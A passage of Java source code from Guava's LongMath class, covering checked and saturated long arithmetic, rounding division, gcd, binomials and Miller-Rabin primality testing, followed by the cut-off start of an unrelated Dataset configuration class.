if the result overflows, it will be equal to * {@code BigInteger.valueOf(b).pow(k).longValue()}. This implementation runs in {@code O(log k)} * time. * * @throws IllegalArgumentException if {@code k < 0} */ @GwtIncompatible // TODO public static long pow(long b, int k) { checkNonNegative("exponent", k); if (-2 <= b && b <= 2) { switch ((int) b) { case 0: return (k == 0) ? 1 : 0; case 1: return 1; case (-1): return ((k & 1) == 0) ? 1 : -1; case 2: return (k < Long.SIZE) ? 1L << k : 0; case (-2): if (k < Long.SIZE) { return ((k & 1) == 0) ? 1L << k : -(1L << k); } else { return 0; } default: throw new AssertionError(); } } for (long accum = 1; ; k >>= 1) { switch (k) { case 0: return accum; case 1: return accum * b; default: accum *= ((k & 1) == 0) ? 1 : b; b *= b; } } } /** * Returns the square root of {@code x}, rounded with the specified rounding mode. * * @throws IllegalArgumentException if {@code x < 0} * @throws ArithmeticException if {@code mode} is {@link RoundingMode#UNNECESSARY} and {@code * sqrt(x)} is not an integer */ @GwtIncompatible // TODO public static long sqrt(long x, RoundingMode mode) { checkNonNegative("x", x); if (fitsInInt(x)) { return IntMath.sqrt((int) x, mode); } /* * Let k be the true value of floor(sqrt(x)), so that * * k * k <= x < (k + 1) * (k + 1) * (double) (k * k) <= (double) x <= (double) ((k + 1) * (k + 1)) * since casting to double is nondecreasing. * Note that the right-hand inequality is no longer strict. * Math.sqrt(k * k) <= Math.sqrt(x) <= Math.sqrt((k + 1) * (k + 1)) * since Math.sqrt is monotonic. * (long) Math.sqrt(k * k) <= (long) Math.sqrt(x) <= (long) Math.sqrt((k + 1) * (k + 1)) * since casting to long is monotonic * k <= (long) Math.sqrt(x) <= k + 1 * since (long) Math.sqrt(k * k) == k, as checked exhaustively in * {@link LongMathTest#testSqrtOfPerfectSquareAsDoubleIsPerfect} */ long guess = (long) Math.sqrt((double) x); // Note: guess is always <= FLOOR_SQRT_MAX_LONG. long guessSquared = guess * guess; // Note (2013-2-26): benchmarks indicate that, inscrutably enough, using if statements is // faster here than using lessThanBranchFree. switch (mode) { case UNNECESSARY: checkRoundingUnnecessary(guessSquared == x); return guess; case FLOOR: case DOWN: if (x < guessSquared) { return guess - 1; } return guess; case CEILING: case UP: if (x > guessSquared) { return guess + 1; } return guess; case HALF_DOWN: case HALF_UP: case HALF_EVEN: long sqrtFloor = guess - ((x < guessSquared) ? 1 : 0); long halfSquare = sqrtFloor * sqrtFloor + sqrtFloor; /* * We wish to test whether or not x <= (sqrtFloor + 0.5)^2 = halfSquare + 0.25. Since both x * and halfSquare are integers, this is equivalent to testing whether or not x <= * halfSquare. (We have to deal with overflow, though.) * * If we treat halfSquare as an unsigned long, we know that * sqrtFloor^2 <= x < (sqrtFloor + 1)^2 * halfSquare - sqrtFloor <= x < halfSquare + sqrtFloor + 1 * so |x - halfSquare| <= sqrtFloor. Therefore, it's safe to treat x - halfSquare as a * signed long, so lessThanBranchFree is safe for use. */ return sqrtFloor + lessThanBranchFree(halfSquare, x); } throw new AssertionError(); } /** * Returns the result of dividing {@code p} by {@code q}, rounding using the specified {@code * RoundingMode}. * * @throws ArithmeticException if {@code q == 0}, or if {@code mode == UNNECESSARY} and {@code a} * is not an integer multiple of {@code b} */ @GwtIncompatible // TODO @SuppressWarnings("fallthrough") public static long divide(long p, long q, RoundingMode mode) { checkNotNull(mode); long div = p / q; // throws if q == 0 long rem = p - q * div; // equals p % q if (rem == 0) { return div; } /* * Normal Java division rounds towards 0, consistently with RoundingMode.DOWN. We just have to * deal with the cases where rounding towards 0 is wrong, which typically depends on the sign of * p / q. * * signum is 1 if p and q are both nonnegative or both negative, and -1 otherwise. */ int signum = 1 | (int) ((p ^ q) >> (Long.SIZE - 1)); boolean increment; switch (mode) { case UNNECESSARY: checkRoundingUnnecessary(rem == 0); // fall through case DOWN: increment = false; break; case UP: increment = true; break; case CEILING: increment = signum > 0; break; case FLOOR: increment = signum < 0; break; case HALF_EVEN: case HALF_DOWN: case HALF_UP: long absRem = abs(rem); long cmpRemToHalfDivisor = absRem - (abs(q) - absRem); // subtracting two nonnegative longs can't overflow // cmpRemToHalfDivisor has the same sign as compare(abs(rem), abs(q) / 2). if (cmpRemToHalfDivisor == 0) { // exactly on the half mark increment = (mode == HALF_UP || (mode == HALF_EVEN && (div & 1) != 0)); } else { increment = cmpRemToHalfDivisor > 0; // closer to the UP value } break; default: throw new AssertionError(); } return increment ? div + signum : div; } /** * Returns {@code x mod m}, a non-negative value less than {@code m}. This differs from {@code x % * m}, which might be negative. * * <p>For example: * * <pre>{@code * mod(7, 4) == 3 * mod(-7, 4) == 1 * mod(-1, 4) == 3 * mod(-8, 4) == 0 * mod(8, 4) == 0 * }</pre> * * @throws ArithmeticException if {@code m <= 0} * @see <a href="http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.17.3"> * Remainder Operator</a> */ @GwtIncompatible // TODO public static int mod(long x, int m) { // Cast is safe because the result is guaranteed in the range [0, m) return (int) mod(x, (long) m); } /** * Returns {@code x mod m}, a non-negative value less than {@code m}. This differs from {@code x % * m}, which might be negative. * * <p>For example: * * <pre>{@code * mod(7, 4) == 3 * mod(-7, 4) == 1 * mod(-1, 4) == 3 * mod(-8, 4) == 0 * mod(8, 4) == 0 * }</pre> * * @throws ArithmeticException if {@code m <= 0} * @see <a href="http://docs.oracle.com/javase/specs/jls/se7/html/jls-15.html#jls-15.17.3"> * Remainder Operator</a> */ @GwtIncompatible // TODO public static long mod(long x, long m) { if (m <= 0) { throw new ArithmeticException("Modulus must be positive"); } long result = x % m; return (result >= 0) ? result : result + m; } /** * Returns the greatest common divisor of {@code a, b}. Returns {@code 0} if {@code a == 0 && b == * 0}. * * @throws IllegalArgumentException if {@code a < 0} or {@code b < 0} */ public static long gcd(long a, long b) { /* * The reason we require both arguments to be >= 0 is because otherwise, what do you return on * gcd(0, Long.MIN_VALUE)? BigInteger.gcd would return positive 2^63, but positive 2^63 isn't an * int. */ checkNonNegative("a", a); checkNonNegative("b", b); if (a == 0) { // 0 % b == 0, so b divides a, but the converse doesn't hold. // BigInteger.gcd is consistent with this decision. return b; } else if (b == 0) { return a; // similar logic } /* * Uses the binary GCD algorithm; see http://en.wikipedia.org/wiki/Binary_GCD_algorithm. This is * >60% faster than the Euclidean algorithm in benchmarks. */ int aTwos = Long.numberOfTrailingZeros(a); a >>= aTwos; // divide out all 2s int bTwos = Long.numberOfTrailingZeros(b); b >>= bTwos; // divide out all 2s while (a != b) { // both a, b are odd // The key to the binary GCD algorithm is as follows: // Both a and b are odd. Assume a > b; then gcd(a - b, b) = gcd(a, b). // But in gcd(a - b, b), a - b is even and b is odd, so we can divide out powers of two. // We bend over backwards to avoid branching, adapting a technique from // http://graphics.stanford.edu/~seander/bithacks.html#IntegerMinOrMax long delta = a - b; // can't overflow, since a and b are nonnegative long minDeltaOrZero = delta & (delta >> (Long.SIZE - 1)); // equivalent to Math.min(delta, 0) a = delta - minDeltaOrZero - minDeltaOrZero; // sets a to Math.abs(a - b) // a is now nonnegative and even b += minDeltaOrZero; // sets b to min(old a, b) a >>= Long.numberOfTrailingZeros(a); // divide out all 2s, since 2 doesn't divide b } return a << min(aTwos, bTwos); } /** * Returns the sum of {@code a} and {@code b}, provided it does not overflow. * * @throws ArithmeticException if {@code a + b} overflows in signed {@code long} arithmetic */ @SuppressWarnings("ShortCircuitBoolean") public static long checkedAdd(long a, long b) { long result = a + b; checkNoOverflow((a ^ b) < 0 | (a ^ result) >= 0, "checkedAdd", a, b); return result; } /** * Returns the difference of {@code a} and {@code b}, provided it does not overflow. * * @throws ArithmeticException if {@code a - b} overflows in signed {@code long} arithmetic */ @GwtIncompatible // TODO @SuppressWarnings("ShortCircuitBoolean") public static long checkedSubtract(long a, long b) { long result = a - b; checkNoOverflow((a ^ b) >= 0 | (a ^ result) >= 0, "checkedSubtract", a, b); return result; } /** * Returns the product of {@code a} and {@code b}, provided it does not overflow. * * @throws ArithmeticException if {@code a * b} overflows in signed {@code long} arithmetic */ @SuppressWarnings("ShortCircuitBoolean") public static long checkedMultiply(long a, long b) { // Hacker's Delight, Section 2-12 int leadingZeros = Long.numberOfLeadingZeros(a) + Long.numberOfLeadingZeros(~a) + Long.numberOfLeadingZeros(b) + Long.numberOfLeadingZeros(~b); /* * If leadingZeros > Long.SIZE + 1 it's definitely fine, if it's < Long.SIZE it's definitely * bad. We do the leadingZeros check to avoid the division below if at all possible. * * Otherwise, if b == Long.MIN_VALUE, then the only allowed values of a are 0 and 1. We take * care of all a < 0 with their own check, because in particular, the case a == -1 will * incorrectly pass the division check below. * * In all other cases, we check that either a is 0 or the result is consistent with division. */ if (leadingZeros > Long.SIZE + 1) { return a * b; } checkNoOverflow(leadingZeros >= Long.SIZE, "checkedMultiply", a, b); checkNoOverflow(a >= 0 | b != Long.MIN_VALUE, "checkedMultiply", a, b); long result = a * b; checkNoOverflow(a == 0 || result / a == b, "checkedMultiply", a, b); return result; } /** * Returns the {@code b} to the {@code k}th power, provided it does not overflow. * * @throws ArithmeticException if {@code b} to the {@code k}th power overflows in signed {@code * long} arithmetic */ @GwtIncompatible // TODO @SuppressWarnings("ShortCircuitBoolean") public static long checkedPow(long b, int k) { checkNonNegative("exponent", k); if (b >= -2 & b <= 2) { switch ((int) b) { case 0: return (k == 0) ? 1 : 0; case 1: return 1; case (-1): return ((k & 1) == 0) ? 1 : -1; case 2: checkNoOverflow(k < Long.SIZE - 1, "checkedPow", b, k); return 1L << k; case (-2): checkNoOverflow(k < Long.SIZE, "checkedPow", b, k); return ((k & 1) == 0) ? (1L << k) : (-1L << k); default: throw new AssertionError(); } } long accum = 1; while (true) { switch (k) { case 0: return accum; case 1: return checkedMultiply(accum, b); default: if ((k & 1) != 0) { accum = checkedMultiply(accum, b); } k >>= 1; if (k > 0) { checkNoOverflow( -FLOOR_SQRT_MAX_LONG <= b && b <= FLOOR_SQRT_MAX_LONG, "checkedPow", b, k); b *= b; } } } } /** * Returns the sum of {@code a} and {@code b} unless it would overflow or underflow in which case * {@code Long.MAX_VALUE} or {@code Long.MIN_VALUE} is returned, respectively. * * @since 20.0 */ @SuppressWarnings("ShortCircuitBoolean") public static long saturatedAdd(long a, long b) { long naiveSum = a + b; if ((a ^ b) < 0 | (a ^ naiveSum) >= 0) { // If a and b have different signs or a has the same sign as the result then there was no // overflow, return. return naiveSum; } // we did over/under flow, if the sign is negative we should return MAX otherwise MIN return Long.MAX_VALUE + ((naiveSum >>> (Long.SIZE - 1)) ^ 1); } /** * Returns the difference of {@code a} and {@code b} unless it would overflow or underflow in * which case {@code Long.MAX_VALUE} or {@code Long.MIN_VALUE} is returned, respectively. * * @since 20.0 */ @SuppressWarnings("ShortCircuitBoolean") public static long saturatedSubtract(long a, long b) { long naiveDifference = a - b; if ((a ^ b) >= 0 | (a ^ naiveDifference) >= 0) { // If a and b have the same signs or a has the same sign as the result then there was no // overflow, return. return naiveDifference; } // we did over/under flow return Long.MAX_VALUE + ((naiveDifference >>> (Long.SIZE - 1)) ^ 1); } /** * Returns the product of {@code a} and {@code b} unless it would overflow or underflow in which * case {@code Long.MAX_VALUE} or {@code Long.MIN_VALUE} is returned, respectively. * * @since 20.0 */ @SuppressWarnings("ShortCircuitBoolean") public static long saturatedMultiply(long a, long b) { // see checkedMultiply for explanation int leadingZeros = Long.numberOfLeadingZeros(a) + Long.numberOfLeadingZeros(~a) + Long.numberOfLeadingZeros(b) + Long.numberOfLeadingZeros(~b); if (leadingZeros > Long.SIZE + 1) { return a * b; } // the return value if we will overflow (which we calculate by overflowing a long :) ) long limit = Long.MAX_VALUE + ((a ^ b) >>> (Long.SIZE - 1)); if (leadingZeros < Long.SIZE | (a < 0 & b == Long.MIN_VALUE)) { // overflow return limit; } long result = a * b; if (a == 0 || result / a == b) { return result; } return limit; } /** * Returns the {@code b} to the {@code k}th power, unless it would overflow or underflow in which * case {@code Long.MAX_VALUE} or {@code Long.MIN_VALUE} is returned, respectively. * * @since 20.0 */ @SuppressWarnings("ShortCircuitBoolean") public static long saturatedPow(long b, int k) { checkNonNegative("exponent", k); if (b >= -2 & b <= 2) { switch ((int) b) { case 0: return (k == 0) ? 1 : 0; case 1: return 1; case (-1): return ((k & 1) == 0) ? 1 : -1; case 2: if (k >= Long.SIZE - 1) { return Long.MAX_VALUE; } return 1L << k; case (-2): if (k >= Long.SIZE) { return Long.MAX_VALUE + (k & 1); } return ((k & 1) == 0) ? (1L << k) : (-1L << k); default: throw new AssertionError(); } } long accum = 1; // if b is negative and k is odd then the limit is MIN otherwise the limit is MAX long limit = Long.MAX_VALUE + ((b >>> (Long.SIZE - 1)) & (k & 1)); while (true) { switch (k) { case 0: return accum; case 1: return saturatedMultiply(accum, b); default: if ((k & 1) != 0) { accum = saturatedMultiply(accum, b); } k >>= 1; if (k > 0) { if (-FLOOR_SQRT_MAX_LONG > b | b > FLOOR_SQRT_MAX_LONG) { return limit; } b *= b; } } } } @VisibleForTesting static final long FLOOR_SQRT_MAX_LONG = 3037000499L; /** * Returns {@code n!}, that is, the product of the first {@code n} positive integers, {@code 1} if * {@code n == 0}, or {@link Long#MAX_VALUE} if the result does not fit in a {@code long}. * * @throws IllegalArgumentException if {@code n < 0} */ @GwtIncompatible // TODO public static long factorial(int n) { checkNonNegative("n", n); return (n < factorials.length) ? factorials[n] : Long.MAX_VALUE; } static final long[] factorials = { 1L, 1L, 1L * 2, 1L * 2 * 3, 1L * 2 * 3 * 4, 1L * 2 * 3 * 4 * 5, 1L * 2 * 3 * 4 * 5 * 6, 1L * 2 * 3 * 4 * 5 * 6 * 7, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14 * 15, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14 * 15 * 16, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14 * 15 * 16 * 17, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14 * 15 * 16 * 17 * 18, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14 * 15 * 16 * 17 * 18 * 19, 1L * 2 * 3 * 4 * 5 * 6 * 7 * 8 * 9 * 10 * 11 * 12 * 13 * 14 * 15 * 16 * 17 * 18 * 19 * 20 }; /** * Returns {@code n} choose {@code k}, also known as the binomial coefficient of {@code n} and * {@code k}, or {@link Long#MAX_VALUE} if the result does not fit in a {@code long}. * * @throws IllegalArgumentException if {@code n < 0}, {@code k < 0}, or {@code k > n} */ public static long binomial(int n, int k) { checkNonNegative("n", n); checkNonNegative("k", k); checkArgument(k <= n, "k (%s) > n (%s)", k, n); if (k > (n >> 1)) { k = n - k; } switch (k) { case 0: return 1; case 1: return n; default: if (n < factorials.length) { return factorials[n] / (factorials[k] * factorials[n - k]); } else if (k >= biggestBinomials.length || n > biggestBinomials[k]) { return Long.MAX_VALUE; } else if (k < biggestSimpleBinomials.length && n <= biggestSimpleBinomials[k]) { // guaranteed not to overflow long result = n--; for (int i = 2; i <= k; n--, i++) { result *= n; result /= i; } return result; } else { int nBits = LongMath.log2(n, RoundingMode.CEILING); long result = 1; long numerator = n--; long denominator = 1; int numeratorBits = nBits; // This is an upper bound on log2(numerator, ceiling). /* * We want to do this in long math for speed, but want to avoid overflow. We adapt the * technique previously used by BigIntegerMath: maintain separate numerator and * denominator accumulators, multiplying the fraction into result when near overflow. */ for (int i = 2; i <= k; i++, n--) { if (numeratorBits + nBits < Long.SIZE - 1) { // It's definitely safe to multiply into numerator and denominator. numerator *= n; denominator *= i; numeratorBits += nBits; } else { // It might not be safe to multiply into numerator and denominator, // so multiply (numerator / denominator) into result. result = multiplyFraction(result, numerator, denominator); numerator = n; denominator = i; numeratorBits = nBits; } } return multiplyFraction(result, numerator, denominator); } } } /** Returns (x * numerator / denominator), which is assumed to come out to an integral value. */ static long multiplyFraction(long x, long numerator, long denominator) { if (x == 1) { return numerator / denominator; } long commonDivisor = gcd(x, denominator); x /= commonDivisor; denominator /= commonDivisor; // We know gcd(x, denominator) = 1, and x * numerator / denominator is exact, // so denominator must be a divisor of numerator. return x * (numerator / denominator); } /* * binomial(biggestBinomials[k], k) fits in a long, but not binomial(biggestBinomials[k] + 1, k). */ static final int[] biggestBinomials = { Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE, 3810779, 121977, 16175, 4337, 1733, 887, 534, 361, 265, 206, 169, 143, 125, 111, 101, 94, 88, 83, 79, 76, 74, 72, 70, 69, 68, 67, 67, 66, 66, 66, 66 }; /* * binomial(biggestSimpleBinomials[k], k) doesn't need to use the slower GCD-based impl, but * binomial(biggestSimpleBinomials[k] + 1, k) does. */ @VisibleForTesting static final int[] biggestSimpleBinomials = { Integer.MAX_VALUE, Integer.MAX_VALUE, Integer.MAX_VALUE, 2642246, 86251, 11724, 3218, 1313, 684, 419, 287, 214, 169, 139, 119, 105, 95, 87, 81, 76, 73, 70, 68, 66, 64, 63, 62, 62, 61, 61, 61 }; // These values were generated by using checkedMultiply to see when the simple multiply/divide // algorithm would lead to an overflow. static boolean fitsInInt(long x) { return (int) x == x; } /** * Returns the arithmetic mean of {@code x} and {@code y}, rounded toward negative infinity. This * method is resilient to overflow. * * @since 14.0 */ public static long mean(long x, long y) { // Efficient method for computing the arithmetic mean. // The alternative (x + y) / 2 fails for large values. // The alternative (x + y) >>> 1 fails for negative values. return (x & y) + ((x ^ y) >> 1); } /* * This bitmask is used as an optimization for cheaply testing for divisibility by 2, 3, or 5. * Each bit is set to 1 for all remainders that indicate divisibility by 2, 3, or 5, so * 1, 7, 11, 13, 17, 19, 23, 29 are set to 0. 30 and up don't matter because they won't be hit. */ private static final int SIEVE_30 = ~((1 << 1) | (1 << 7) | (1 << 11) | (1 << 13) | (1 << 17) | (1 << 19) | (1 << 23) | (1 << 29)); /** * Returns {@code true} if {@code n} is a <a * href="http://mathworld.wolfram.com/PrimeNumber.html">prime number</a>: an integer <i>greater * than one</i> that cannot be factored into a product of <i>smaller</i> positive integers. * Returns {@code false} if {@code n} is zero, one, or a composite number (one which <i>can</i> be * factored into smaller positive integers). * * <p>To test larger numbers, use {@link BigInteger#isProbablePrime}. * * @throws IllegalArgumentException if {@code n} is negative * @since 20.0 */ @GwtIncompatible // TODO public static boolean isPrime(long n) { if (n < 2) { checkNonNegative("n", n); return false; } if (n < 66) { // Encode all primes less than 66 into mask without 0 and 1. long mask = (1L << (2 - 2)) | (1L << (3 - 2)) | (1L << (5 - 2)) | (1L << (7 - 2)) | (1L << (11 - 2)) | (1L << (13 - 2)) | (1L << (17 - 2)) | (1L << (19 - 2)) | (1L << (23 - 2)) | (1L << (29 - 2)) | (1L << (31 - 2)) | (1L << (37 - 2)) | (1L << (41 - 2)) | (1L << (43 - 2)) | (1L << (47 - 2)) | (1L << (53 - 2)) | (1L << (59 - 2)) | (1L << (61 - 2)); // Look up n within the mask. return ((mask >> ((int) n - 2)) & 1) != 0; } if ((SIEVE_30 & (1 << (n % 30))) != 0) { return false; } if (n % 7 == 0 || n % 11 == 0 || n % 13 == 0) { return false; } if (n < 17 * 17) { return true; } for (long[] baseSet : millerRabinBaseSets) { if (n <= baseSet[0]) { for (int i = 1; i < baseSet.length; i++) { if (!MillerRabinTester.test(baseSet[i], n)) { return false; } } return true; } } throw new AssertionError(); } /* * If n <= millerRabinBases[i][0], then testing n against bases millerRabinBases[i][1..] suffices * to prove its primality. Values from miller-rabin.appspot.com. * * NOTE: We could get slightly better bases that would be treated as unsigned, but benchmarks * showed negligible performance improvements. */ private static final long[][] millerRabinBaseSets = { {291830, 126401071349994536L}, {885594168, 725270293939359937L, 3569819667048198375L}, {273919523040L, 15, 7363882082L, 992620450144556L}, {47636622961200L, 2, 2570940, 211991001, 3749873356L}, { 7999252175582850L, 2, 4130806001517L, 149795463772692060L, 186635894390467037L, 3967304179347715805L }, { 585226005592931976L, 2, 123635709730000L, 9233062284813009L, 43835965440333360L, 761179012939631437L, 1263739024124850375L }, {Long.MAX_VALUE, 2, 325, 9375, 28178, 450775, 9780504, 1795265022} }; private enum MillerRabinTester { /** Works for inputs ≤ FLOOR_SQRT_MAX_LONG. */ SMALL { @Override long mulMod(long a, long b, long m) { /* * lowasser, 2015-Feb-12: Benchmarks suggest that changing this to UnsignedLongs.remainder * and increasing the threshold to 2^32 doesn't pay for itself, and adding another enum * constant hurts performance further -- I suspect because bimorphic implementation is a * sweet spot for the JVM. */ return (a * b) % m; } @Override long squareMod(long a, long m) { return (a * a) % m; } }, /** Works for all nonnegative signed longs. */ LARGE { /** Returns (a + b) mod m. Precondition: {@code 0 <= a}, {@code b < m < 2^63}. */ private long plusMod(long a, long b, long m) { return (a >= m - b) ? (a + b - m) : (a + b); } /** Returns (a * 2^32) mod m. a may be any unsigned long. */ private long times2ToThe32Mod(long a, long m) { int remainingPowersOf2 = 32; do { int shift = min(remainingPowersOf2, Long.numberOfLeadingZeros(a)); // shift is either the number of powers of 2 left to multiply a by, or the biggest shift // possible while keeping a in an unsigned long. a = UnsignedLongs.remainder(a << shift, m); remainingPowersOf2 -= shift; } while (remainingPowersOf2 > 0); return a; } @Override long mulMod(long a, long b, long m) { long aHi = a >>> 32; // < 2^31 long bHi = b >>> 32; // < 2^31 long aLo = a & 0xFFFFFFFFL; // < 2^32 long bLo = b & 0xFFFFFFFFL; // < 2^32 /* * a * b == aHi * bHi * 2^64 + (aHi * bLo + aLo * bHi) * 2^32 + aLo * bLo. * == (aHi * bHi * 2^32 + aHi * bLo + aLo * bHi) * 2^32 + aLo * bLo * * We carry out this computation in modular arithmetic. Since times2ToThe32Mod accepts any * unsigned long, we don't have to do a mod on every operation, only when intermediate * results can exceed 2^63. */ long result = times2ToThe32Mod(aHi * bHi /* < 2^62 */, m); // < m < 2^63 result += aHi * bLo; // aHi * bLo < 2^63, result < 2^64 if (result < 0) { result = UnsignedLongs.remainder(result, m); } // result < 2^63 again result += aLo * bHi; // aLo * bHi < 2^63, result < 2^64 result = times2ToThe32Mod(result, m); // result < m < 2^63 return plusMod(result, UnsignedLongs.remainder(aLo * bLo /* < 2^64 */, m), m); } @Override long squareMod(long a, long m) { long aHi = a >>> 32; // < 2^31 long aLo = a & 0xFFFFFFFFL; // < 2^32 /* * a^2 == aHi^2 * 2^64 + aHi * aLo * 2^33 + aLo^2 * == (aHi^2 * 2^32 + aHi * aLo * 2) * 2^32 + aLo^2 * We carry out this computation in modular arithmetic. Since times2ToThe32Mod accepts any * unsigned long, we don't have to do a mod on every operation, only when intermediate * results can exceed 2^63. */ long result = times2ToThe32Mod(aHi * aHi /* < 2^62 */, m); // < m < 2^63 long hiLo = aHi * aLo * 2; if (hiLo < 0) { hiLo = UnsignedLongs.remainder(hiLo, m); } // hiLo < 2^63 result += hiLo; // result < 2^64 result = times2ToThe32Mod(result, m); // result < m < 2^63 return plusMod(result, UnsignedLongs.remainder(aLo * aLo /* < 2^64 */, m), m); } }; static boolean test(long base, long n) { // Since base will be considered % n, it's okay if base > FLOOR_SQRT_MAX_LONG, // so long as n <= FLOOR_SQRT_MAX_LONG. return ((n <= FLOOR_SQRT_MAX_LONG) ? SMALL : LARGE).testWitness(base, n); } /** Returns a * b mod m. */ abstract long mulMod(long a, long b, long m); /** Returns a^2 mod m. */ abstract long squareMod(long a, long m); /** Returns a^p mod m. */ private long powMod(long a, long p, long m) { long res = 1; for (; p != 0; p >>= 1) { if ((p & 1) != 0) { res = mulMod(res, a, m); } a = squareMod(a, m); } return res; } /** Returns true if n is a strong probable prime relative to the specified base. */ private boolean testWitness(long base, long n) { int r = Long.numberOfTrailingZeros(n - 1); long d = (n - 1) >> r; base %= n; if (base == 0) { return true; } // Calculate a := base^d mod n. long a = powMod(base, d, n); // n passes this test if // base^d = 1 (mod n) // or base^(2^j * d) = -1 (mod n) for some 0 <= j < r. if (a == 1) { return true; } int j = 0; while (a != n - 1) { if (++j == r) { return false; } a = squareMod(a, n); } return true; } } /** * Returns {@code x}, rounded to a {@code double} with the specified rounding mode. If {@code x} * is precisely representable as a {@code double}, its {@code double} value will be returned; * otherwise, the rounding will choose between the two nearest representable values with {@code * mode}. * * <p>For the case of {@link RoundingMode#HALF_EVEN}, this implementation uses the IEEE 754 * default rounding mode: if the two nearest representable values are equally near, the one with * the least significant bit zero is chosen. (In such cases, both of the nearest representable * values are even integers; this method returns the one that is a multiple of a greater power of * two.) * * @throws ArithmeticException if {@code mode} is {@link RoundingMode#UNNECESSARY} and {@code x} * is not precisely representable as a {@code double} * @since 30.0 */ @SuppressWarnings("deprecation") @GwtIncompatible public static double roundToDouble(long x, RoundingMode mode) { // Logic adapted from ToDoubleRounder. double roundArbitrarily = (double) x; long roundArbitrarilyAsLong = (long) roundArbitrarily; int cmpXToRoundArbitrarily; if (roundArbitrarilyAsLong == Long.MAX_VALUE) { /* * For most values, the conversion from roundArbitrarily to roundArbitrarilyAsLong is * lossless. In that case we can compare x to roundArbitrarily using Longs.compare(x, * roundArbitrarilyAsLong). The exception is for values where the conversion to double rounds * up to give roundArbitrarily equal to 2^63, so the conversion back to long overflows and * roundArbitrarilyAsLong is Long.MAX_VALUE. (This is the only way this condition can occur as * otherwise the conversion back to long pads with zero bits.) In this case we know that * roundArbitrarily > x. (This is important when x == Long.MAX_VALUE == * roundArbitrarilyAsLong.) */ cmpXToRoundArbitrarily = -1; } else { cmpXToRoundArbitrarily = Longs.compare(x, roundArbitrarilyAsLong); } switch (mode) { case UNNECESSARY: checkRoundingUnnecessary(cmpXToRoundArbitrarily == 0); return roundArbitrarily; case FLOOR: return (cmpXToRoundArbitrarily >= 0) ? roundArbitrarily : DoubleUtils.nextDown(roundArbitrarily); case CEILING: return (cmpXToRoundArbitrarily <= 0) ? roundArbitrarily : Math.nextUp(roundArbitrarily); case DOWN: if (x >= 0) { return (cmpXToRoundArbitrarily >= 0) ? roundArbitrarily : DoubleUtils.nextDown(roundArbitrarily); } else { return (cmpXToRoundArbitrarily <= 0) ? roundArbitrarily : Math.nextUp(roundArbitrarily); } case UP: if (x >= 0) { return (cmpXToRoundArbitrarily <= 0) ? roundArbitrarily : Math.nextUp(roundArbitrarily); } else { return (cmpXToRoundArbitrarily >= 0) ? roundArbitrarily : DoubleUtils.nextDown(roundArbitrarily); } case HALF_DOWN: case HALF_UP: case HALF_EVEN: { long roundFloor; double roundFloorAsDouble; long roundCeiling; double roundCeilingAsDouble; if (cmpXToRoundArbitrarily >= 0) { roundFloorAsDouble = roundArbitrarily; roundFloor = roundArbitrarilyAsLong; roundCeilingAsDouble = Math.nextUp(roundArbitrarily); roundCeiling = (long) Math.ceil(roundCeilingAsDouble); } else { roundCeilingAsDouble = roundArbitrarily; roundCeiling = roundArbitrarilyAsLong; roundFloorAsDouble = DoubleUtils.nextDown(roundArbitrarily); roundFloor = (long) Math.floor(roundFloorAsDouble); } long deltaToFloor = x - roundFloor; long deltaToCeiling = roundCeiling - x; if (roundCeiling == Long.MAX_VALUE) { // correct for Long.MAX_VALUE as discussed above: roundCeilingAsDouble must be 2^63, but // roundCeiling is 2^63-1. deltaToCeiling++; } int diff = Longs.compare(deltaToFloor, deltaToCeiling); if (diff < 0) { // closer to floor return roundFloorAsDouble; } else if (diff > 0) { // closer to ceiling return roundCeilingAsDouble; } // halfway between the representable values; do the half-whatever logic switch (mode) { case HALF_EVEN: return ((DoubleUtils.getSignificand(roundFloorAsDouble) & 1L) == 0) ? roundFloorAsDouble : roundCeilingAsDouble; case HALF_DOWN: return (x >= 0) ? roundFloorAsDouble : roundCeilingAsDouble; case HALF_UP: return (x >= 0) ? roundCeilingAsDouble : roundFloorAsDouble; default: throw new AssertionError("impossible"); } } } throw new AssertionError("impossible"); } private LongMath() {} }
google/guava
android/guava/src/com/google/common/math/LongMath.java
402
import java.io.*; import java.util.*; public class Dataset implements Debuggable { public static String KEY_SEPARATION_TYPES[] = {"@TABULATION", "@COMMA"}; public static String KEY_SEPARATION_STRING[] = {"\t", ","}; public static int SEPARATION_INDEX = 1; public static String DEFAULT_DIR = "Datasets", SEP = "/", KEY_COMMENT = "//"; public static String KEY_DIRECTORY = "@DIRECTORY"; public static String KEY_PREFIX = "@PREFIX"; public static String KEY_ALGORITHM = "@ALGORITHM"; public static String KEY_NCT = "@NCT"; public static String KEY_NOISE = "@ETA_NOISE"; public static String KEY_CHECK_STRATIFIED_LABELS = "@CHECK_STRATIFIED_LABELS"; public static String START_KEYWORD = "@"; public static String FIT_CLASS = "@FIT_CLASS"; public static String[] FIT_CLASS_MODALITIES = {"NONE", "MEAN", "MEDIAN", "MINMAX", "BINARY"}; // NONE means the problem has two class modalities -> {-1, 1}, default value // Otherwise, classes are fit in {-1,1} the keyword gives the meaning of the 0 value for the class // : // * MEAN -> classes are translated so that mean = 0 and then shrunk to fit in [-1,1] // * MEDIAN -> classes are translated so that median = 0 and then shrunk to fit in [-1,1] // * MINMAX -> classes are translated so that (min+max)/2 = 0 and then shrunk to fit in [-1,1] // * BINARY -> classes are translated so that mean = 0 and then BINARIZED in {-1, +1} with signs public static int 